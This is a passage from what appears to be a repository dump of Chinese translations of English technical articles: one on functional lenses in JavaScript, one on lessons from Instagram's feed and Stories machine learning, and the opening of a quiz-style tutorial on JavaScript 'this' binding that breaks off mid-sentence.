    "content": "> * 原文地址：[Lenses: Composable Getters and Setters for Functional Programming](https://medium.com/javascript-scene/lenses-b85976cb0534)\n> * 原文作者：[Eric Elliott](https://medium.com/@_ericelliott?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lenses-composable-getters-and-setterssfor-functional-programming.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lenses-composable-getters-and-setterssfor-functional-programming.md)\n> * 译者：[EmilyQiRabbit](https://github.com/EmilyQiRabbit)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk)\n\n# Lenses：可组合函数式编程的 Getter 和 Setter（第十九部分）\n\n![](https://cdn-images-1.medium.com/max/2000/1*uVpU7iruzXafhU2VLeH4lw.jpeg)\n\n烟雾艺术立方 — MattysFlicks —（CC BY 2.0）\n\n> **注意：本篇是[“组合软件”这本书](https://leanpub.com/composingsoftware)** 的一部分，它将以系列博客的形式展开新生。它涵盖了 JavaScript（ES6+）函数式编程和可组合软件技术的最基础的知识。\n> [< 上一篇](https://github.com/xitu/gold-miner/blob/master/TODO1/transducers-efficient-data-processing-pipelines-in-javascript.md) | [<< 从第一部分开始](https://juejin.im/post/5c0dd214518825444758453a)\n\nlens 是一对可组合的 getter 和 setter 纯函数，它会关注对象内部的一个特殊字段，并且会遵从一系列名为 lens 法则的公理。将对象视为**整体**，字段视为**局部**。getter 以对象整体作为参数，然后返回 lens 所关注的对象的一部分。\n\n```\n// view = whole => part\n```\n\nsetter 则以对象整体作为参数，以及一个需要设置的值，然后返回一个新的对象整体，这个对象的特定部分已经更新。和一个简单设置对象成员字段的值的函数不同，Lens 的 setter 是纯函数：\n\n```\n// set = whole => part => whole\n```\n\n> **注意**：在本篇中，我们将在代码示例中使用一些原生的 lenses，这样是为了对总体概念有更深入的了解。而对于生产环境下的代码，你则应该看看像 Ramda 这样的经过充分测试的库。不同的 lens 库的 API 也不同，比起本篇给出的例子，更有可能用可组合性更强、更优雅的方法来描述 lenses。\n\n假设你有一个元组数组（tuple array），代表了一个包含 `x`、`y` 和 `z` 三点的坐标：\n\n```\n[x, y, z]\n```\n\n为了能分别获取或者设置每个字段，你可以创建三个 lenses。每个轴一个。你可以手动创建关注每个字段的 getter：\n\n```\nconst getX = ([x]) => x;\nconst getY = ([x, y]) => y;\nconst getZ = ([x, y, z]) => z;\n\nconsole.log(\n  getZ([10, 10, 100]) // 100\n);\n```\n\n同样，相应的 setter 也许会像这样：\n\n```\nconst setY = ([x, _, z]) => y => ([x, y, z]);\n\nconsole.log(\n  setY([10, 10, 10])(999) // [10, 999, 10]\n);\n```\n\n### 为什么选择 Lenses？\n\n状态依赖是软件中耦合性的常见来源。很多组件会依赖于共享状态的结构，所以如果你需要改变状态的结构，你就必须修改很多处的逻辑。\n\nLenses 让你能够把状态的结构抽象，让它隐藏在 getters 和 setter 之后。为代码引入 lens，而不是丢弃你的那些涉及深入到特定对象结构的代码库的代码。如果后续你需要修改状态结构，你可以使用 lens 来做，并且不需要修改任何依赖于 lens 的代码。\n\n这遵循了需求的小变化将只需要系统的小变化的原则。\n\n### 背景\n\n在 1985 年，[“Structure and Interpretation of Computer Programs”](https://www.amazon.com/Structure-Interpretation-Computer-Programs-Engineering/dp/0262510871/ref=as_li_ss_tl?ie=UTF8&linkCode=ll1&tag=eejs-20&linkId=9fac31d60f8b9b60f63f71ab716694bc) 描述了用于分离对象结构与使用对象的代码的方法的 getter 和 setter 对（下文中称为 `put` 和 `get`）。文章描述了如何创建通用的选择器，它们访问复杂变量，但却不依赖变量的表示方式。这种分离特性非常有用，因为它打破了对状态结构的依赖。这些 getter 和 setter 对有点像这几十年来一直存在于关系数据库中的引用查询。\n\nLenses 把 getter 和 setter 对做得更加通用，更有可组合性，从而更加延伸了这个概念。在 Edward Kmett 发布了为 Haskell 写的 Lens 库后，它们更加普及。他是受到了推论出了遍历表达了迭代模式的 Jeremy Gibbons 和 Bruno C. d. S. Oliveira，Luke Palmer 的 “accessors”，Twan van Laarhoven 以及 Russell O’Connor 的影响。\n\n> **注意**：一个很容易犯的错误是，将函数式 lens 的现代观念和 Anamorphisms 等同，Anamorphisms 基于 Erik Meijer，Maarten Fokkinga 和 Ross Paterson 1991 年发表的 [“使用 Bananas，Lenses，Envelopes 和 Barbed Wire 的函数式编程”](http://citeseerx.ist.psu.edu/viewdoc/summary?doi=10.1.1.41.125)。“函数意义上的术语 ‘lens’ 指的是它看起来是整体的一部分。在递归结构意义上的术语 ‘lens’ 指的是 `[(` and `)]`，它在语法上看起来有些像凹透镜。**太长，请不用读**。它们之间并没有任何关系。” ~ [Edward Kmett on Stack Overflow](https://stackoverflow.com/questions/17198072/how-is-anamorphism-related-to-lens)\n\n### Lens 法则\n\nlens 法则其实是代数公理，它们确保 lens 能良好运行。\n\n1.  `view(lens, set(lens, a, store)) ≡ a` — 如果你将一组值设置到一个 store 里，并且马上通过 lens 看到了值，你将能获取到这个被设置的值。\n2.  `set(lens, b, set(lens, a, store)) ≡ set(lens, b, store)` — 如果你为 `a` 设置了一个 lens 值，然后马上为 `b` 设置 lens 值，那么和你只设置了 `b` 的值的结果是一样的。\n3.  `set(lens, view(lens, store), store) ≡ store` — 如果你从 store 中获取 lens 值，然后马上将这个值再设置回 store 里，这个值就等于没有修改过。\n\n在我们深入代码示例之前，记住，如果你在生产环境中使用 lenses，你应该使用经过充分测试的 lens 库。在 JavaScript 语言中，我知道的最好的是 Ramda。目前，为了更好的学习，我们先跳过这部分，自己写一些原生的 lenses。\n\n```\n// 纯函数 view 和 set，它们可以配合任何 lens 一起使用：\nconst view = (lens, store) => lens.view(store);\nconst set = (lens, value, store) => lens.set(value, store);\n\n// 一个将 prop 作为参数，返回 naive 的函数\n// 通过 lens 存取这个 prop。\nconst lensProp = prop => ({\n  view: store => store[prop],\n  // 这部分代码是原生的，它只能为对象服务：\n  set: (value, store) => ({\n    ...store,\n    [prop]: value\n  })\n});\n\n// 一个 store 对象的例子。一个可以使用 lens 访问的对象\n// 通常被称为 “store” 对象\nconst fooStore = {\n  a: 'foo',\n  b: 'bar'\n};\n\nconst aLens = lensProp('a');\nconst bLens = lensProp('b');\n\n// 使用`view()` 方法来解构 lens 中的属性 `a` 和 `b`。\nconst a = view(aLens, fooStore);\nconst b = view(bLens, fooStore);\nconsole.log(a, b); // 'foo' 'bar'\n\n// 使用 `aLens` 来设置 store 中的值：\nconst bazStore = set(aLens, 'baz', fooStore);\n\n// 查看新设置的值。\nconsole.log( view(aLens, bazStore) ); // 'baz'\n```\n\n我们来证实下这些函数的 lens 法则：\n\n```\nconst store = fooStore;\n\n{\n  // `view(lens, set(lens, value, store))` = `value`\n  // 如果你把某个值存入 store，\n  // 然后马上通过 lens 查看这个值，\n  // 你将会获取那个你刚刚存入的值\n  const lens = lensProp('a');\n  const value = 'baz';\n\n  const a = value;\n  const b = view(lens, set(lens, value, store));\n\n  console.log(a, b); // 'baz' 'baz'\n}\n\n{\n  // set(lens, b, set(lens, a, store)) = set(lens, b, store)\n  // 如果你将一个 lens 值存入了 `a` 然后马上又存入 `b`，\n  // 那么和你直接存入 `b` 是一样的\n  const lens = lensProp('a');\n\n  const a = 'bar';\n  const b = 'baz';\n\n  const r1 = set(lens, b, set(lens, a, store));\n  const r2 = set(lens, b, store);\n  \n  console.log(r1, r2); // {a: \"baz\", b: \"bar\"} {a: \"baz\", b: \"bar\"}\n}\n\n{\n  // `set(lens, view(lens, store), store)` = `store`\n  // 如果你从 store 中获取到一个 lens 值，然后马上把这个值\n  // 存回到 store，那么这个值不变\n  const lens = lensProp('a');\n\n  const r1 = set(lens, view(lens, store), store);\n  const r2 = store;\n  \n  console.log(r1, r2); // {a: \"foo\", b: \"bar\"} {a: \"foo\", b: \"bar\"}\n}\n```\n\n### 组合 Lenses\n\nLenses 是可组合的。当你组合 lenses 的时候，得到的结果将会深入对象的字段，穿过所有对象中字段可能的组合路径。我们将从 Ramda 引入功能全面的 `lensProp` 来做说明：\n\n```\nimport { compose, lensProp, view } from 'ramda';\n\nconst lensProps = [\n  'foo',\n  'bar',\n  1\n];\n\nconst lenses = lensProps.map(lensProp);\nconst truth = compose(...lenses);\n\nconst obj = {\n  foo: {\n    bar: [false, true]\n  }\n};\n\nconsole.log(\n  view(truth, obj)\n);\n```\n\n棒极了，但是其实还有很多使用 lenses 的组合值得我们注意。让我们继续深入。\n\n### Over\n\n在任何仿函数数据类型的情况下，应用源自 `a => b` 的函数都是可能的。我们已经论述了，这个仿函数映射是**可组合的。**类似的，我们可以在 lens 中对关注的值应用某个函数。通常情况下，这个值是同类型的，也是一个源于 `a => a` 的函数。lens 映射的这个操作在 JavaScript 库中一般被称为 “over”。我们可以像这样创建它：\n\n```\n// over = (lens, f: a => a, store) => store\nconst over = (lens, f, store) => set(lens, f(view(lens, store)), store);\n\nconst uppercase = x => x.toUpperCase();\n\nconsole.log(\n  over(aLens, uppercase, store) // { a: \"FOO\", b: \"bar\" }\n);\n```\n\nSetter 遵守了仿函数规则：\n\n```\n{ // 如果你通过 lens 映射特定函数\n  // store 不变\n  const id = x => x;\n  const lens = aLens;\n  const a = over(lens, id, store);\n  const b = store;\n\n  console.log(a, b);\n}\n```\n\n对于可组合的示例，我们将使用一个 over 的 auto-curried 版本：\n\n```\nimport { curry } from 'ramda';\n\nconst over = curry(\n  (lens, f, store) => set(lens, f(view(lens, store)), store)\n);\n```\n\n很容易看出，over 操作下的 lenses 依旧遵循仿函数可组合规则：\n\n```\n{ // over(lens, f) after over(lens g)\n  // 和 over(lens, compose(f, g)) 是一样的\n  const lens = aLens;\n\n  const store = {\n    a: 20\n  };\n\n  const g = n => n + 1;\n  const f = n => n * 2;\n\n  const a = compose(\n    over(lens, f),\n    over(lens, g)\n  );\n\n  const b = over(lens, compose(f, g));\n\n  console.log(\n    a(store), // {a: 42}\n    b(store)  // {a: 42}\n  );\n}\n```\n\n我们目前只基本了解了 lenses 的皮毛，但是对于你继续开始学习已经足够了。如果想获取更多细节，Edward Kmett 在这个话题讨论了很多，很多人也写了许多深度的探索。\n\n* * *\n\n**_Eric Elliott_ 是 [“编写 JavaScript 应用”](http://pjabook.com)（O’Reilly）以及[“跟着 Eric Elliott 学 Javascript”](http://ericelliottjs.com/product/lifetime-access-pass/) 两书的作者。他为许多公司和组织作过贡献，例如 *Adobe Systems*、*Zumba Fitness*、*The Wall Street Journal*、*ESPN* 和 *BBC* 等，也是很多机构的顶级艺术家，包括但不限于 *Usher*、*Frank Ocean* 以及 *Metallica*。**\n\n大多数时间，他都在 San Francisco Bay Area，同这世上最美丽的女子在一起。\n\n感谢 [JS_Cheerleader](https://medium.com/@JS_Cheerleader?source=post_page)。\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lessons-learned-at-instagram-stories-and-feed-machine-learning.md",
    "content": "> * 原文地址：[Lessons Learned at Instagram Stories and Feed Machine Learning](https://instagram-engineering.com/lessons-learned-at-instagram-stories-and-feed-machine-learning-54f3aaa09e56)\n> * 原文作者：[Thomas Bredillet](https://instagram-engineering.com/@thomasbredillet)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lessons-learned-at-instagram-stories-and-feed-machine-learning.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lessons-learned-at-instagram-stories-and-feed-machine-learning.md)\n> * 译者：[TrWestdoor](https://github.com/TrWestdoor)\n> * 校对者：[haiyang-tju](https://github.com/haiyang-tju), [kasheemlew](https://github.com/kasheemlew)\n\n# 从 Instagram 故事流和信息流机器学习中吸取的教训\n\n自从我们在 2016 年宣布信息流排名以来，Instagram 机器学习有了显著的提高。我们的推荐系统定期为超过 10 亿的用户提供服务。我们现在不仅仅在信息流和故事流排名上使用机器学习：我们从你关注的标签中收集并推荐文章，将不同类型的内容混合在一起，并为智能应用预抓取提供动力。\n\nInstagram 使用机器学习方法的所有不同方式都值得一贴，但是我们想讨论一些在构建机器学习流水线时得到的一些教训。\n\n#### 模型选择\n\n我们在这里对如何建模做一些决定，这些决定对我们很有帮助，要么可以提高模型的预测能力和提供顶线改进，要么可以在维持精度的情况下降低内存消耗。\n\n首先我们选择 [caffe2](https://caffe2.ai/) 作为我们的基础模型框架，这意味着我们通过这个平台来编写和设计模型。相比于其它选项，Caffe2 对我们的工作流提供了明显的优化，并且它在推理时为每个 CPU 周期的模型权重提供了最大空间。“堆栈占用”在机器学习团队中是一个很重要的度量标准，因为我们在网络中使用了多个 CPU 密集型统计技术（池，等）。\n\n我们也使用带有排序损失的模型和 point-wise 模型（例如对数损失）。这让我们在最终的价值函数中拥有更多的控制权，这样我们就可以在关键的投入指标中进行微调。\n\n在核心机器学习中，通过考虑我们模型中的位置偏差，我们可以得到一些非常好的准确性。我们在最后的全连接层添加了一个稀疏位置特征，以此避免过多的影响模型。一般来说，共同学习稀疏嵌入是另外一个有影响力的领域，它以多种方式来恰当地捕捉用户的兴趣。。\n\n通过拟合高斯过程，我们定期调整最终的价值函数，以了解通过一系列 A/B 测试测量的价值函数参数对顶线指标的影响。\n\n![](https://cdn-images-1.medium.com/max/1600/1*gkKF0o5RqOubUXvJgAK83Q.png)\n\n图 1：一个我们用来进行预测的经典模型结构的例子\n\n#### 数据新鲜度和趋势\n\n用户习惯会随着时间而改变。同样，生态系统也会受到趋势效应的影响（比如在超级碗这种季节性事件中）。正因为如此，数据新鲜度是很重要的。陈旧的模型不能捕捉到用户行为的变化或者理解新的趋势效应。\n\n量化数据新鲜度的影响对我们是有帮助的。我们监测关键行为分布之间的 KL-散度偏移，来告知我们的流水线的“不稳定性”。\n\n保持我们的模型新鲜的一个方法是有一个在线学习模型或者至少进行周期性的训练。在这种设定中，我们面临的最大挑战之一是提出一个合理的自适应学习率策略，因为我们希望新的例子在梯度更新中仍然有用（即使对那些已经在数月的数据上进行了训练的模型）。\n\n#### 新颖效应\n\n新颖效应是我们面临的另外一个难题。我们经常进行 A/B 测试，在早期对照组表现出正向的作用，并且逐渐趋向于中性。\n\n一方面，可以明确的是，一些细微的变化可以暂时提高参与程度。我们相信这源于一个事实，即长期运行模型会倾向于“挖掘”的过多，并且这些测试会带来一些新的探索领域。\n\n这些影响的时间尺度也很有趣。我们已经看到了一些变化，这些变化需要持续一个多月的时间后才能趋于平稳（参与度呈上升或下降趋势）。\n\n另一方面， 我们艰难地认识到，新颖效应可以是很微妙的，所以在推出可能会产生影响的新体验时，应该小心控制。我们最近进行了一次严重的事后分析，发现两个容易产生新颖效应的实验在启动后的几个小时内相互作用，变得非常糟糕。\n\n虽然这并不完美，我们现在有了一些模型可以预测容易新颖的实验的数量和长度。借此我们可以通过减缓风险和提前终止测试来更快的进行迭代。\n\n![](https://cdn-images-1.medium.com/max/1600/1*99xykWyce5eGX5h6ha9dJA.jpeg)\n\n图 2：在我们运行的 A/B 测试之一上观察新颖性\n\n#### 实验（A/B）小影响\n\n大规模机器学习和 A/B 测试有许多不同的复杂性。除了上述提到的新颖性之外，我们也面临统计学上的问题。想象一下有 10 个排名工程师每人启动一个新的测试 **everyday**：很有可能这其中的一些测试提高了参与度指标，这很有统计意义。\n\n最重要的是，这些实验中的一些可能只是为了一些特定目标的用户，因此这个测量结果不是对所有用户起到同样的重要性的。这就使得测试结果很难评估。\n\n我们当前的最佳实践是在工程师的迭代速度和我们启动的变化置信区间之间做出权衡。在我们批准进行 A/B 测试之前，这些最佳实践需要在大量用户中进行严格的复制。\n\n#### 学习作为影响和科学方法\n\n根据定义，机器学习是一种随机过程。当我们进行性能评估时，我们的工程师和科研人员根据在稳定项目上的传统软件工程师来进行校准。做所有正确的事情都是有可能的，但是在底线方法方面会让人失望。\n\n在 Instagram 上，我们热衷于坚持科学的实验方法。即使 A/B 测试不会直接导致产品发布，我们也可以经常利用它在未来提供有趣的产品洞察力。\n\n这也防止了在训练流水线中进行超参数随机遍历以寻找局部最优解的糟糕的科学模式。我们现在称这种模式为“人类梯度下降”。有了这一点，我们需要在启动测试之前验证原则假设。\n\n作为一个机器学习工程师，我们并非仅仅盯着特征看，我们还想要学习。每个实验都有其特定的输出，我们并不是随机游走。\n\n#### 正则化\n\n混合不同类型的内容是我们面临的另外一个挑战。例如，一个视频和一张照片有不同可能操作的分布。例如你可以想象“喜欢”一张照片和“评论”一张照片或者“完成”一部视频是三种不同的行为，并且有着不同的分布（如喜欢比评论更常见，等）。\n\n简单来说，它就像是对照片用 P[喜欢]（一个观众喜欢这个照片的概率）和对视频 P[完成]（一个观众观看一部视频超过其 X% 长度的概率）来进行排序一样。当我们想要合并这个列表来完成对观众的最终排序时，机器学习工程师就处在一个很为难的位置。\n\n我们通过拟合一个映射来解决这个问题，即从一个价值函数分布（如 P[喜欢]）映射到一个合理的分布如高斯分布。在那样的输出空间中，列表现在是可比较的，并且我们可以清楚的说出一部分内容优于另外一部分。\n\n![](https://cdn-images-1.medium.com/max/1600/1*jgHr3apEde5SFp0IMPOKZA.jpeg)\n\n**图 3：我们的价值模型在归一化前的对数分数，分布很不均匀**\n\n#### 迭代速度 - 离线分析\n\n我们添加适当的后验框架已经太晚了。对非常大规模且有影响的机器学习系统来说，工程师和科研人员真的需要去打开模型并且仔细的理解他们实验产生的效果。在没有可靠的工具下这是很难做到的。我们开发了一个重播工具来接收你想要测试的新模型/排名配置，并且输出一组有用的测量结果来帮助理解你的改变对整个生态系统的影响。\n\n我们的目标是尽量减少在线实验，尽可能减少给用户暴露糟糕的实验结果的风险并且加速我们的迭代速度。\n\n![](https://cdn-images-1.medium.com/max/1600/1*neNMnbd7f7yKWdfs7qBMJw.png)\n\n**图 4：我们的离线分析工具在模型指标上的表现（每个点表示了一个不同的训练模型）**\n\n#### 工具和基础设施\n\n所有大规模系统都需要严格的基础设施，幸运的是，在 Instagram 中我们有一个稳定的机器学习基础设施团队（他们最初建立了反馈排名并从其分离出来）。所有模型推理、特征提取、训练数据生成和监控都由其基础设施负责。\n\n不必去担心规模问题，全神贯注于统计模型对我们工程师而言是最有效的提高之一。最重要的是，机器学习基础团队创建了工具让我们更加深入的理解我们的模型，从而帮助我们提高用户体验。\n\n#### 个性化\n\n另外一个有利的特征是精调我们的最终价值函数的能力。将我们的模型作为输入，添加我们的业务逻辑，然后返回每个媒体的最终得分。**个性化**价值函数兼具了有效性和复杂性。我们选择对那些从我们的推荐系统中获益较少的用户群体进行高层次的启发式分析，并专门为他们调整价值函数。\n\n另一个显示早期结果的个性化策略是在一些用户亲和力模型中进行因子分解。试图量化一个用户与其他用户/内容类型之间的亲和力有多大，这有助于我们专门为观众定制和适应我们的功能。\n\n#### 价值模型\n\n最后，我们有了我们的价值模型：公式化描述，它将不同的信号组合成一个分数，并且合并我们的业务逻辑。这是一个复杂的代码，产品启发法满足统计预测。\n\n过去这些年通过调整这个价值模型，我们看到了显著的增长。我们经常使用高斯处理和贝叶斯优化来跨越模型的超参数空间，并且找到一个适合我们的区域。有一篇在[这里](https://research.fb.com/efficient-tuning-of-online-systems-using-bayesian-optimization/)详细的描述了这个过程。\n\n![](https://cdn-images-1.medium.com/max/1600/1*wSOPR-9Q0YclynQAcIShZw.png)\n\n**图 5：我们怎样调节不同的归一化价值模型并且测量不同的影响程度**\n\n### 后记\n\n我们希望对我们的机器学习管道和我们面临的问题的总结是有帮助的。在未来的文章中，我们将更深入的讨论上述的一些问题。\n\n无论我们是在预测用户行为，构建内容理解卷积神经网络，还是创建潜在的用户模式，这些课程都有助于我们减少错误并更快地迭代，这样我们就可以不断地为 Instagram 上的每个人改进机器学习！\n\n**如果你很高兴应用机器学习技术为我们的全球化社区提供价值，我们一直在寻找更多优秀的人才来[加入我们](https://www.instagram.com/about/jobs/)。**\n\n> 如果发现译文存在错误或其他需要改进的地方，欢迎到 [掘金翻译计划](https://github.com/xitu/gold-miner) 对译文进行修改并 PR，也可获得相应奖励积分。文章开头的 **本文永久链接** 即为本文在 GitHub 上的 MarkDown 链接。\n\n---\n\n> [掘金翻译计划](https://github.com/xitu/gold-miner) 是一个翻译优质互联网技术文章的社区，文章来源为 [掘金](https://juejin.im) 上的英文分享文章。内容覆盖 [Android](https://github.com/xitu/gold-miner#android)、[iOS](https://github.com/xitu/gold-miner#ios)、[前端](https://github.com/xitu/gold-miner#前端)、[后端](https://github.com/xitu/gold-miner#后端)、[区块链](https://github.com/xitu/gold-miner#区块链)、[产品](https://github.com/xitu/gold-miner#产品)、[设计](https://github.com/xitu/gold-miner#设计)、[人工智能](https://github.com/xitu/gold-miner#人工智能)等领域，想要查看更多优质译文请持续关注 [掘金翻译计划](https://github.com/xitu/gold-miner)、[官方微博](http://weibo.com/juejinfanyi)、[知乎专栏](https://zhuanlan.zhihu.com/juejinfanyi)。\n"
  },
  {
    "path": "TODO1/lets-settle-this-part-one.md",
    "content": "> * 原文地址：[Let’s settle ‘this’ — Part One](https://medium.com/@nashvail/lets-settle-this-part-one-ef36471c7d97)\n> * 原文作者：[Nash Vail](https://medium.com/@nashvail?source=post_header_lockup)\n> * 译文出自：[掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 本文永久链接：[https://github.com/xitu/gold-miner/blob/master/TODO1/lets-settle-this-part-one.md](https://github.com/xitu/gold-miner/blob/master/TODO1/lets-settle-this-part-one.md)\n> * 译者：[geniusq1981](https://github.com/geniusq1981)\n> * 校对者：[Moonliujk](https://github.com/Moonliujk)、[lance10030](https://github.com/lance10030)\n\n# 让我们一起解决“this”难题 — 第一部分\n\n![](https://i.loli.net/2018/07/23/5b553df9455fa.png)\n\n难道我们就不能彻底搞清楚“this”吗？在某种程度上，几乎所有的 JavaScript 开发人员都曾经思考过“this”这个事情。对我来说，每当“this”出来捣乱的时候，我就会想方设法地去解决掉它，但过后就把它忘了，我想你应该也曾遇到过类似的场景。但是今天，让我们弄明白它，让我们一次性地彻底解决“this”的问题，一劳永逸。\n\n前几天，我在图书馆遇到了一个意想不到的事情。\n\n![](https://i.loli.net/2018/07/23/5b553e2648b71.png)\n\n这本书的整个第二章都是关于“this”的，我很有自信地通读了一遍，但是发现其中有些地方讲到的“this”，我居然搞不懂它们是什么，需要去猜测。真的是时候反省一下我过度自信的愚蠢行为了。我再次把这一章重读了好几遍，发觉这里面的内容是每个 Javascript 开发人员都应该了解的。\n\n因此，我尝试着用一种更彻底的方式和更多的示例代码来展示 [凯尔·辛普森](http://getify.me/) 在他的这本书 [你不知道的 Javascript](https://github.com/getify/You-Dont-Know-JS) 中描述的那些规范。\n\n在这里我不会通篇只讲理论，我会直接以曾经困扰过我的困难问题为例开始讲起，我希望它们也是你感到困难的问题。但不管这些问题是否会困挠你，我都会给出解释说明，我会一个接一个地向你介绍所有的规则，当然还会有一些追加内容。\n\n在开始之前，我假设你已经了解了一些 JavaScript 的背景知识，当我讲到 global、window、this、prototype 等等的时候，你知道它们是什么意思。这篇文章中，我会同时使用 global 和 window，在这里它们就是一回事，是可以互换的。\n\n在下面给出的所有代码示例中，你的任务就是猜一下控制台输出的结果是什么。如果你猜对了，就给你自己加一分。准备好了吗？让我们开始吧。\n\n#### Example #1\n\n```Javascript\nfunction foo() {  \n console.log(this);   \n bar();  \n}\n\nfunction bar() {  \n console.log(this);   \n baz();  \n}\n\nfunction baz() {  \n console.log(this);   \n}\n\nfoo();\n```\n\n你被难住了吗？为了测试，你当然可以把这段代码复制下来，然后在浏览器或者 Node 的运行环境中去运行看看结果。再来一次,你被难住了吗？好吧，我就不再问了。但说真的，如果你没被难住，那就给你自己加一分。\n\n如果你运行上面的代码，就会在控制台中看到 global 对象被打印出三次。为了解释这一点，让我来介绍 **第一个规则，默认绑定**。规则规定，当一个函数执行独立调用时，例如只是 _funcName();_，这时函数的“this”被指向 global 对象。\n\n需要理解的是，在调用函数之前，“this”并没有绑定到这个函数，因此，要找到“this”，你应该密切注意该函数是如何调用，而不是在哪里调用。所有三个函数 _foo();bar();_ 和 baz();_ 都是独立的调用，因此这三个函数的“this”都指向全局对象。\n\n#### Example #2\n\n```Javascript\n‘use strict’;\nfunction foo() {\n console.log(this); \n bar();\n}\nfunction bar() {\n console.log(this); \n baz();\n}\nfunction baz() {\n console.log(this); \n}\nfoo();\n```\n\n注意下最开始的“use strict”。在这种情况下，你觉得控制台会打印什么？当然，如果你了解 _strict mode_，你就会知道在严格模式下 global 对象不会被默认绑定。所以，你得到的打印是三次 _undefined_ 的输出，而不再是 _global_。\n\n回顾一下，在一个简单调用函数中，比如独立调用中，“this”在非严格模式下指向 global 对象，但在严格模式下不允许 global 对象默认绑定，因此这些函数中的“this”是 undefined。\n\n为了使我们对默认绑定概念理解得更加具体，这里有一些示例。\n\n#### Example #3\n\n```Javascript\nfunction foo() {\n function bar() {\n  console.log(this); \n } \n bar();\n}\n\nfoo();\n```\n\n_foo_ 先被调用，然后又调用 _bar_，_bar_ 将“this”打印到控制台中。这里的技巧是看看函数是如何被调用的。_foo_ 和 _bar_ 都被单独调用，因此，他们内部的“this”都是指向 global 对象。但是由于 _bar_ 是唯一执行打印的函数，所以我们看到 global 对象在控制台中输出了一次。\n\n我希望你没有回答 _foo_ 或 _bar_。有没有？\n\n我们已经了解了默认绑定。让我们再做一个简单的测试。在下面的示例中，控制台输出什么？\n\n#### Example #4\n\n```Javascript\nvar a = 1;\n\nfunction foo() {  \n console.log(this.a);  \n}\n\nfoo();\n```\n\n输出结果是 undefined？是 1？还是什么？\n\n如果你已经很好地理解了之前讲解的内容，那么你应该知道控制台输出的是“1”。为什么？首先，默认绑定作用于函数 _foo_。因此 _foo_ 中的“this”指向 global 对象，并且 _a_ 被声明为 global 变量，这就意味着 _a_ 是 global 对象的属性（也称之为全局对象污染），因此 _this.a_ 和 _var a_ 就是同一个东西。\n\n随着本文的深入，我们将会继续研究默认绑定，但是现在是时候向你介绍下一个规则了。\n\n#### Example #5\n\n```Javascript\nvar obj = {  \n a: 1,   \n foo: function() {  \n  console.log(this);   \n }  \n};\n\nobj.foo();\n```\n\n这里应该没有什么疑问，对象“obj”会被输出在控制台中。你在这里看到的是 **隐式绑定**。规则规定，当一个函数被作为一个对象方法被调用时，那么它内部的“this”应该指向这个对象。如果函数调用前面有多个对象（ _obj1.obj2.func()_ ），那么函数之前的最后一个对象（_obj3_）会被绑定。\n\n> 需要注意的一点是函数调用必须有效，那也就是说当你调用 _obj.func()_ 时，必须确保 _func_ 是对象 _obj_ 的属性。\n\n因此，在上面的例子中调用 _obj.foo()_ 时，“this”就指向 obj，因此 _obj_ 被打印输出在控制台中。\n\n#### Example #6\n\n```Javascript\nfunction logThis() {  \n console.log(this);  \n}\n\nvar myObject = {  \n a: 1,   \n logThis: logThis  \n};\n\nlogThis();  \nmyObject.logThis();\n```\n\n你被难住了？我希望没有。\n\n跟在 _myObject_ 后面的这个全局调用 _logThis()_ 通过 _console.log(this)_ 打印的是 global 对象；而 _myObject.logThis()_ 打印的是 _myObject_ 对象。\n\n这里需要注意一件有趣的事情：\n\n```Javascript\nconsole.log(logThis === myObject.logThis); // true\n```\n\n为什么不呢？它们当然是相同的函数，但是你可以看到 **如何调用_logThis_** 会让其中的“this”发生改变。当 _logThis_ 被单独调用时，使用默认绑定规则，但是当 _logThis_ 作为前面的对象属性被调用时，使用隐式绑定规则。\n\n不管采用哪条规则，让我们看看是怎么处理的（双关语）。\n\n#### Example #8\n\n```Javascript\nfunction foo() {  \n var a = 2;  \n this.bar();  \n}\n\nfunction bar() {  \n console.log(this.a);  \n}\n\nfoo();\n```\n\n控制台输出什么？首先，你可能会问我们可以调用“_this.bar()”吗？当然可以，它不会导致错误。\n\n就像示例 #4 中的 _var a_ 一样，_bar_ 也是全局对象的属性。因为 foo 被单独调用了，它内部的“this”就是全局对象(默认绑定规则)。因此 _foo_ 内部的 _this.bar_ 就是 _bar_。但实际的问题是，控制台中输出什么？\n\n如果你猜的没错，“undefined”会被打印出来。\n\n注意 _bar_ 是如何被调用的？看起来，隐式绑定在这里发挥作用。隐式绑定意味着 _bar_ 中的“this”是其前面的对象引用。_bar_ 前面的对象引用是全局对象，在 foo 里面是全局对象，对不对？因此在 _bar_ 中尝试访问 _this.a_ 等同于访问 _[global object].a_。没有什么意外，因此控制台会输出 undefined。\n\n太棒了！继续向下讲解。\n\n#### Example #7\n\n```Javascript\nvar obj = {  \n a: 1,   \n foo: function(fn) {  \n  console.log(this);  \n  fn();  \n }  \n};\n\nobj.foo(function() {  \n console.log(this);  \n});\n```\n\n请不要让我失望。\n\n函数 _foo_ 接受一个回调函数作为参数。我们所做的就是在调用 _foo_ 的时候在参数里面放了一个函数。\n\n```Javascript\nobj.foo( function() { console.log(this); } );\n```\n\n但是请注意 _foo_ 是 **如何** 